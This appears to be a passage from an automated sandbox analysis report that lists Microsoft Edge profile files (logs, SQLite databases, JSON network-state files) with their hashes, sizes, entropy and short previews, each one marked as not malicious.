Preview:	SNSS.......p..............p........."p..............p..........p..........q..........q.......!..q..................................p...q...1..,...q...$...2a28c4ba_224c_471c_9990_63caadbe978e...p..........q.......c.-........p......p..........................p.......................5..0...p...&...{46F3A197-DB49-410A-81B3-94975C835573}.....p..........p..........................q..............q...........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......@....%..A....%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.086761013343891
Encrypted:	false
SSDEEP:	6:1sB0Vq2PN723oH+Tcwt7Uh2ghZIFUt8ksFrgZmw+ksFrIkwON723oH+Tcwt7Uh2w:G0VvVaYebIhHh2FUt8Trg/+TrI5OaYeQ
MD5:	4C751ECEFD6E567C8499362282FD72A3
SHA1:	0DFEBF613C089AD8469489BDD2B1BE93FC0C8AEF
SHA-256:	00C303FE83AA19A30F4529807916366C62A507BC414B20015910BEA30CDA441E
SHA-512:	94EBB73B4DE6E5B5C00C7567980D5D2E1C5A54C6DFC2028CBE2AAB942F96FAAF265CB2D6DD9B859EA2D39889B11576AB03BD58DDE9FCBB69C801378DC8493E8B
Malicious:	false
Preview:	2024/10/27-21:07:29.413 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/27-21:07:29.421 1f04 Recovering log #3.2024/10/27-21:07:29.421 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.086761013343891
Encrypted:	false
SSDEEP:	6:1sB0Vq2PN723oH+Tcwt7Uh2ghZIFUt8ksFrgZmw+ksFrIkwON723oH+Tcwt7Uh2w:G0VvVaYebIhHh2FUt8Trg/+TrI5OaYeQ
MD5:	4C751ECEFD6E567C8499362282FD72A3
SHA1:	0DFEBF613C089AD8469489BDD2B1BE93FC0C8AEF
SHA-256:	00C303FE83AA19A30F4529807916366C62A507BC414B20015910BEA30CDA441E
SHA-512:	94EBB73B4DE6E5B5C00C7567980D5D2E1C5A54C6DFC2028CBE2AAB942F96FAAF265CB2D6DD9B859EA2D39889B11576AB03BD58DDE9FCBB69C801378DC8493E8B
Malicious:	false
Preview:	2024/10/27-21:07:29.413 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/27-21:07:29.421 1f04 Recovering log #3.2024/10/27-21:07:29.421 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.23165634887907
Encrypted:	false
SSDEEP:	6:1+UBL+q2PN723oH+TcwtzjqEKj3K/2jMGIFUt8kAX1Zmw+kjLVkwON723oH+Tcwy:BEvVaYebvqBQFUt8X1/+e5OaYebvqBvJ
MD5:	F5F3A5F2C80EB2D12094E706D1FCB448
SHA1:	CF14A6C0BBD80EB99E9AC5933BAD5DE6C523522E
SHA-256:	65EBDCCFAE1C23188F8D8D847C20059B1AAD7EF5CB9F3A319C91EC9BB6672779
SHA-512:	CA3EE4CCD8893A235A3849E2731257FEF89768AB0F625227BDA6F6D0E42D67994F7777A902803742D9DDD1064C4D7E379BBE1A925452507886AFA802BF9E2F42
Malicious:	false
Preview:	2024/10/27-21:07:30.065 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/27-21:07:30.066 1c98 Recovering log #3.2024/10/27-21:07:30.070 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.23165634887907
Encrypted:	false
SSDEEP:	6:1+UBL+q2PN723oH+TcwtzjqEKj3K/2jMGIFUt8kAX1Zmw+kjLVkwON723oH+Tcwy:BEvVaYebvqBQFUt8X1/+e5OaYebvqBvJ
MD5:	F5F3A5F2C80EB2D12094E706D1FCB448
SHA1:	CF14A6C0BBD80EB99E9AC5933BAD5DE6C523522E
SHA-256:	65EBDCCFAE1C23188F8D8D847C20059B1AAD7EF5CB9F3A319C91EC9BB6672779
SHA-512:	CA3EE4CCD8893A235A3849E2731257FEF89768AB0F625227BDA6F6D0E42D67994F7777A902803742D9DDD1064C4D7E379BBE1A925452507886AFA802BF9E2F42
Malicious:	false
Preview:	2024/10/27-21:07:30.065 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/27-21:07:30.066 1c98 Recovering log #3.2024/10/27-21:07:30.070 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\050f0dfd-bdb6-497c-b51a-7cab1cd6f275.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4b8a93f9-80d7-434b-acd4-93ec50acd823.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\89a5b9cc-bf4c-4f3e-a4a6-d0beb8a41a8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c4f7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c07639dd-9787-4d9a-aff4-737ab75535e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.209363320915202
Encrypted:	false
SSDEEP:	12:IQ4vVaYebvqBZFUt8ffJ/+f8ND5OaYebvqBaJ:PKVaYebvyg8XTVOaYebvL
MD5:	14230BE4534341FE0FA2D6EF888BC072
SHA1:	2320D4D50B324821C128244BD11CE2167825FD2B
SHA-256:	4804D4AAD8EB0C81754DD7E99E2720E2E53A9CB08B5526011C27A3D634461AA0
SHA-512:	6B79A88B995BA499CC76C994753C48B6B5B01CB277EDFC781BCF7A981260F6000E5666915FC353C05B4CF8788112EEA0B296B1B8A00C094DE5AFAB424F2F6786
Malicious:	false
Preview:	2024/10/27-21:07:47.742 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/27-21:07:47.743 1db8 Recovering log #3.2024/10/27-21:07:47.748 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.209363320915202
Encrypted:	false
SSDEEP:	12:IQ4vVaYebvqBZFUt8ffJ/+f8ND5OaYebvqBaJ:PKVaYebvyg8XTVOaYebvL
MD5:	14230BE4534341FE0FA2D6EF888BC072
SHA1:	2320D4D50B324821C128244BD11CE2167825FD2B
SHA-256:	4804D4AAD8EB0C81754DD7E99E2720E2E53A9CB08B5526011C27A3D634461AA0
SHA-512:	6B79A88B995BA499CC76C994753C48B6B5B01CB277EDFC781BCF7A981260F6000E5666915FC353C05B4CF8788112EEA0B296B1B8A00C094DE5AFAB424F2F6786
Malicious:	false
Preview:	2024/10/27-21:07:47.742 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/27-21:07:47.743 1db8 Recovering log #3.2024/10/27-21:07:47.748 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184246131857158
Encrypted:	false
SSDEEP:	6:1stuP4q2PN723oH+TcwtpIFUt8kskLJZmw+kskLDkwON723oH+Tcwta/WLJ:+uP4vVaYebmFUt80J/+0D5OaYebaUJ
MD5:	C91E16B927091AF0822A5F182C360159
SHA1:	89E5DB07C1DA32AB3CEE7EE4EFE762E423609745
SHA-256:	BD693F519248AA8F656A28A5CAE7708F7021B49CEBC65462DF303D7FFB871403
SHA-512:	C7A7D24D466C722919B95CAA64E0593A012701F588FE2B73CA722A74AB266440234C1F5EDF6509D2FD79213FEFDE31C0E2B387145EC258BA5E6DC1616AF7D76D
Malicious:	false
Preview:	2024/10/27-21:07:29.407 1624 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/27-21:07:29.418 1624 Recovering log #3.2024/10/27-21:07:29.418 1624 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184246131857158
Encrypted:	false
SSDEEP:	6:1stuP4q2PN723oH+TcwtpIFUt8kskLJZmw+kskLDkwON723oH+Tcwta/WLJ:+uP4vVaYebmFUt80J/+0D5OaYebaUJ
MD5:	C91E16B927091AF0822A5F182C360159
SHA1:	89E5DB07C1DA32AB3CEE7EE4EFE762E423609745
SHA-256:	BD693F519248AA8F656A28A5CAE7708F7021B49CEBC65462DF303D7FFB871403
SHA-512:	C7A7D24D466C722919B95CAA64E0593A012701F588FE2B73CA722A74AB266440234C1F5EDF6509D2FD79213FEFDE31C0E2B387145EC258BA5E6DC1616AF7D76D
Malicious:	false
Preview:	2024/10/27-21:07:29.407 1624 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/27-21:07:29.418 1624 Recovering log #3.2024/10/27-21:07:29.418 1624 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2677105321142197
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMbSA1LyKOMq+8iP5GDHP/0jMVumv:Kq+n0Jb91LyKOMq+8iP5GLP/0+
MD5:	AD901A8DD5865813F4376E570725DED1
SHA1:	9C66BB0FBC67FE86F34D4494178D38809F4B3158
SHA-256:	BC415C0E7D98026E04785C370931100C36D345857E0CF9BCAF4144C3A26207BA
SHA-512:	244F3531033303064568C7199BD4CDF57560669D2BD0BCD1AEC234DDE14BB30D2054F87F3465C75DB10558341B5AD6B73DBC6DEFD26BA876BD382046849CD1E2
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4661121779653961
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0He:v7doKsKuKZKlZNmu46yjx0+
MD5:	884A0923BC0905B641D4470CADB580DB
SHA1:	C6C2C1FB8683393D64EC10F3F95AC95116BFF260
SHA-256:	AD786888438D2FA0A5040C26FAD6823B7C04906C3C40FFE6B062859F2911C8DC
SHA-512:	F9091EB0D5B50FCEF919A1327A883B86FFF8472402BA8C8A82049714C1476150257226B620E5DF0FCB46AD86479849D747E1E05F3722129E3C1381681ADE2C0D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b0805781-f04a-4e82-8798-52f0a42a8391.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

